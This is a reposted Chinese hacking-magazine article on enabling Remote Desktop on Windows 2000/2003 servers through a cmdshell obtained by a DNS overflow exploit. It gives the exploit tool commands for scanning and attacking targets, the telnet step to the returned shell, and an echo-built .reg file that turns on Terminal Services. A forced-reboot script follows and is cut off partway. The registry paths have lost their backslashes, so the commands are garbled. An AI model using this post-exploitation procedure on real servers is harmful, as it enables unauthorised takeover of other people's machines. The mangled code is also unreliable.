浅谈CMD下开启远程桌面服务

来源:网络 责任编辑:栏目编辑 发表时间:2013-07-02 06:18 点击:

 
题目:浅谈CMD下开启远程桌面服务
作者:hackest&shockboy [H.S.T]&[E.S.T]&[L.S.T]

此文章已发表在《黑客X档案》第7期杂志上

一、缘起

近段时间微软出现的DNS溢出漏洞疯狂了一段时间,就是现在也还有许多服务器可以成功溢出。相信大家都有体验过溢出的经验了吧,嘿嘿。但是当我们溢出成功后,返回得到的就只有一个system权限的cmdshell。要是服务器开启了远程桌面服务,那我们直接加一个用户,再添加进管理员组,就可以登录服务器了。这样的话,拿下存在DNS溢出的服务器只是分秒间的事情。从溢出到得到服务器控制权花不了多少时间。不过,要是服务器本身没有开启远程桌面服务,就相对来说比较麻烦一点了。话虽如此,服务器本身没开,那我们就帮它开嘛,嘿嘿。

二、理论

在只有一个cmdshell的情况下,可能有不少菜菜不知道如何开启远程桌面服务。不过如果对远程桌面服务比较了解的话,应该知道开启它其实主要就是修改了注册表的某些键值来实现的。如何在cmdshell下修改注册表相关键值呢?根据系统的不同,方法也有些出入。Windows2000的服务器开户远程桌面服务一般都需要重启一次才能生效,Windows2003的服务器开启远程桌面服务就一般都不需要重启,直接更改注册表相关键值即可生效!据网上的资料来看,基本上都是先echo一个*.reg注册表文件,再使用regedit /s *.reg命令导入注册表文件即可,当然2000的话还需要重启才生效。

三、实践

理论总是理论,不实践过永远都只能是理论。所以我们找了些可以DNS溢出的服务器来做试验,其中有2000系统的也有2003系统的,分别详细说明——如何在cmdshell下开启服务器的远程桌面服务。

1、2000系统

简要说一下如何进行DNS溢出攻击。我用的溢出利用程序是dns.exe,在CMD下运行它可以看到它的使用参数等信息。执行"dns -s IP"命令检测目标IP是否存在DNS溢出漏洞,如图1。在图中我们可以看出目标主机存在DNS溢出漏洞,操作系统为Windows 2000!接着我们进行溢出攻击,执行"dns -t 2000all IP 1207"后提示要我们检测返回的1100端口的shell,如图2。"telnet IP 1100"成功得到返回的cmdshell,如图3。注意目录为c:WINNTsystem32,顶部也明显可以看到Windows 2000相关字样。接着我们需要做的是使用"echo"命令写入一个3389.reg注册表文件。将如下代码一行一行地复制到cmdshell窗口后按回车执行:

echo Windows Registry Editor Version 5.00 >3389.reg
echo. >>3389.reg
echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion etcache] >>3389.reg
echo "Enabled"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon] >>3389.reg
echo "ShutdownWithoutLogon"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller] >>3389.reg
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server] >>3389.reg
echo "TSEnabled"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermService] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_USERS.DEFAULTKeyboard LayoutToggle] >>3389.reg
echo "Hotkey"="1" >>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsdpwdTds cp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg

简单说明一下,">"符号是覆盖写入文件,如无此文件则创建,有则覆盖原来的内容写入。">>"是追加写入,即在原有文件内容的基础上在后面写入内容。这里是写入内容到3389.reg文件中!需要注意的是第二行,那个作用是写入一行空格,至于为什么需要这样,那是因为.reg文件的格式必须如此!成功写入完毕后接着执行导入操作,执行"regedit /s 3389.reg"。这样注册表文件就已经顺利导入到注册表里去了。不过需要注意的是在cmdshell下不要输错任何一个字符,否则将无法执行,建议先自己打好在记事本上,确保无误之后再复制到cmdshell窗口执行。然后需要做的事就是重启了,如何使目标服务器重启呢?和朋友多方测试后,觉得用下面这个方法比较妥当。在cmdshell下执行如下代码:

@ECHO OFF & cd/d %temp% & echo [version] > {out}.inf
(set inf=InstallHinfSection DefaultInstall)
echo signature=$ch

    相关新闻>>

      发表评论
      请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
      用户名: 验证码:点击我更换图片
      最新评论 更多>>

      推荐热点

      • dos命令原来也能这样用?允许查找未知子目录指定文件
      •  windows的磁盘操作之八——格式化分区的思考
      • windows篇-第三章 安装和配置DNS服务器
      • windows篇-第二章 安装和配置Web服务器
      • windows篇-第一章 windows server 2008安装和简单配置
      •  windows server 2003断开远程之后自动注销用户
      • Windows服务器下用IIS Rewrite组件为IIS设置伪静态方法
      • Windows 2008 R2 SP1部署WSUS 3.0 SP2
      • windows 2008 rodc扩展

      快速直达

      操作系统导航

      LinuxWindows虚拟机
      网站首页 - 友情链接 - 网站地图 - TAG标签 - RSS订阅 - 内容搜索
      Copyright © 2008-2015 计算机技术学习交流网. 版权所有

      豫ICP备11007008号-1